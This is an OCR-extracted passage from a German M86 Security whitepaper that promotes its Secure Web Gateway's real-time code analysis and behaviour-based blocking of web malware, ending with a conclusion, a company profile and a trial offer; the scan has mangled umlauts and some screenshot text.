unbekannt definiert. Darauf hin kehrt das M86 Secure Web Gateway in den Modus der Verhaltensanalyse zurtick.

Das Verhalten des folgenden JavaScript ist verdachtig; daher wird es von der Standardregel gesperrt, was keinerlei Updates erfordert.

Incoming
Incoming
Behavior Profile (Script)
Default Profile - Script Behaviar
Generic Shellcode detection

Suspected Malicious String Content
Rule i
Block

Blocked

Schluss mit Sicherheitsllicken in heutigen Web-Umgebungen Seite 11



Die Verhaltensanalyse ist der einzige Weg, um sich gegen Zero-Day-Attacken zu schitzen.

Nachdem diese Sicherheitsllicke entdeckt und von den M86 Security Labs analysiert wurde, wird eine neue Sicherheitsrichtlinie auf
dem M86 Secure Web Gateway eingerichtet. Damit ist die Schwachstelle vollstandig erkannt und wird geblockt, da mit Hilfe der
Protokollinformationen die Schwachstelle erkannt werden kann.

Behavior Profile (Script)
Yulnerabil i

Adobe Reader media.newPlayer Yulnerability

Generic Shelcode detection

Suspected Malicious String Content

Rule Action
Blodk
Blocked

Aktive Codeanalyse in Echtzeit, kombiniert mit einer leistungsfahigen Verhaltensanalyse als Ruckfallebene, ist unerlasslich zur Erkennung
und Blockade von Crimeware, die noch unbekannte und ungepatchte Sicherheitsliicken angreift.

DIE PATENTIERTE TECHNOLOGIE ZUR CODEANALYSE IN ECHTZEIT VON M86 SECURITY

Selbstverstandlich ist die Verwendung mehrerer Erkennungstechnologien wichtig flr jedes Abwehrsystem. Das M86 Secure Web
Gateway bietet umfassenden Schutz auf mehreren Ebenen gegen Web-basierte Malware. Das M86 Secure Web Gateway bietet
fuhrende Sicherheitsfunktionen gegen Gefahren des ein- und ausgehenden Datenverkehrs, einschlieBlich URL-Filterung und
Virenprtfung.

Trotzdem reicht bei der heutigen Bedrohungslage eine einfache Gefahrenabwehr auch auf mehreren Ebenen nicht aus. Wie dieses
Dokument zeigt, schaffen es URL-Filter und Virenscanner alleine wie auch kombiniert nicht, den GroBteil der Angriffe abzufangen. Daher
bietet M86 mit der Codeanalyse in Echtzeit eine zusétzliche Schutzebene an.

Die Codeanalyse in Echtzeit von M86 stellt eine einmalige Technologie dar, die jegliche ein- und ausgehenden Inhalte im HTTP-,
HTTPS- und FTP-Datenstrom priift. Sie erkennt Crimeware, Malware, Trojaner und andere schadliche Inhalte und wehrt diese ab,
bevor sie in Unternehmensnetzwerke eindringen kénnen. Dieser Schutz besteht auch, wenn sich die geféhrlichen Codeabschnitte in
verschllsseltem SSL-Datenverkehr verbergen. Die geprtften Inhalte erreichen und verlassen die Appliance verschlUsselt, so dass kein
unverschlisselter Datenverkehr nach auBen dringt. So werden Lauschangriffe vermieden.

Cyberkriminelle nutzen vermehrt Rich Content fur die Verbreitung ihrer Malware Uber Web-2.0- und andere respektable Seiten, die
zuvor kompromittiert wurden. Die Inhaltsprifung von M86 fur Adobe Flash und PDF-Dateien erkennt und blockiert aktiven Inhalt in
Rich Content in Echtzeit.

Die Codeanalyse in Echtzeit erreicht die besten Ergebnisse bei der Abwehr von Schadcode. Das M86 Secure Web Gateway analysiert
jegliche ein- und ausgehende Web-Inhalte in Echtzeit und unabhangig von deren Quellen. AuBerdem erkennt es die potenziellen
Auswirkungen, noch bevor die Inhalte ausgefuhrt werden. Mit der Offenlegung der wahren Ziele von Webinhalten ermdglicht die
Codeanalyse in Echtzeit die Abwehr von Crimeware trotz der neuen Verbreitungs- und Verschleierungsmethoden, die von den
Angreifern genutzt werden. Das hindert jeglichen Schadcode am Eindringen oder Verlassen des Unternehmensnetzwerks und schitzt
so die Unternehmen vor Crimeware, die zu erheblichen finanziellen EinbuBen fUhren kénnte.
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Wie das M86 Secure Web Gateway eine Webseite analysiert

1.

2.

Der gesamte Inhalt wird auf seine wahre Natur hin gepruft.

Der Inhalt wird dann in einzelne Teile getrennt.

Diese Teile werden von den speziellen Engines der Echtzeit-Codeanalyse verarbeitet, beispielsweise

vom PDF-Scanner, dem JavaScript-Scanner, der Verhaltensanalyse-Engine usw.

Daraus ergibt sich ein umfassendes Verhaltensprofil der Webseite, das dann mit der Sicherheitsrichtlinie

des Anwenders verglichen wird.

Diese Sicherheitsrichtlinie definiert, was erlaubt, blockiert oder entfernt wird.

Bevor die Webseite dem Anwender zur Verfligung gestellt wird, stellt die Fix-up-Engine sicher,
dass die Seite richtig formatiert ist und sicher betrachtet werden kann.

 weseme

" THE DAILY
= ;{\' | mmm'--m'::“?:-—
=R

lifs
‘ |
-

dar

Vergloich des Profile mit |

Blockiaran

Xy e |
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FAZIT

Sinn und Zweck dieser Studie der M86 Security Labs war, die Gefahren aufzuzeigen, mit welchen Anwender im aktuellen dynamischen
Malwareumfeld im Web konfrontiert werden. Die getesteten Angriffe stellen nur eine kleine Probe aus dem taglichen Ansturm dar.

Wie die Beispiele in diesem Dokument zeigen, existieren Sicherheitsliicken, wenn man sich auf einfache Strategien zum Schutz vor
Web-basierten Gefahren verlasst. Durch die Web-Umgebung in unserer Zeit und die neuen dynamischen Angriffe, versagen viele
Technologien beim Schutz vor Infektionen durch immer neue Web-basierte Angriffe.

Um den Schutz und die Sicherheit zu erreichen, die nétig sind, um aus dem Web
einen wirklichen Vorteil zu ziehen, empfiehlt M86 Security eine effektive Kombination
aus Technologien, die diesem dreibeinigen Hocker entsprechen: URL-Filterung,
Virenschutz und Codeanalyse in Echtzeit.

UBER M86 SECURITY

M86 Security ist ein globaler Spezialist flr die Gefahrenabwehr in Echtzeit und der Branchenflhrer fir Secure Web Gateways. Die
Lésungen des Unternehmens fiir Web- und E-Mail-Sicherheit, angeboten als Appliances, Software oder Software as a Service (SaaS),
schitzen Uber 24.000 Kunden mit Gber 17 Millionen Anwendern weltweit. Die Produkte von M86 nutzen eine patentierte Code-Analyse
in Echtzeit und verhaltensbasierte Technologien zur Erkennung von Malware sowie standig aktualisierte Daten der M86 Security Labs.
Netzwerke werden so gegen weiterentwickelte Gefahren geschditzt, die Vertraulichkeit sensibler Informationen gewahrleistet und die
Compliance garantiert. Das Unternehmen hat seinen Sitz in Orange, Kalifornien, eine internationale Niederlassung in London und
Entwicklungszentren in Kalifornien, Israel und Neuseeland.

Weitere Informationen zu M86 Security finden Sie unter www.m86security.com.

ERST TESTEN, DANN KAUFEN

M86 bietet Ihnen die Lésungen zum kostenfreien Test und zur Evaluierung. Bitte kontaktieren Sie uns dazu direkt oder gehen
Sie auf www.m86security.com/downloads
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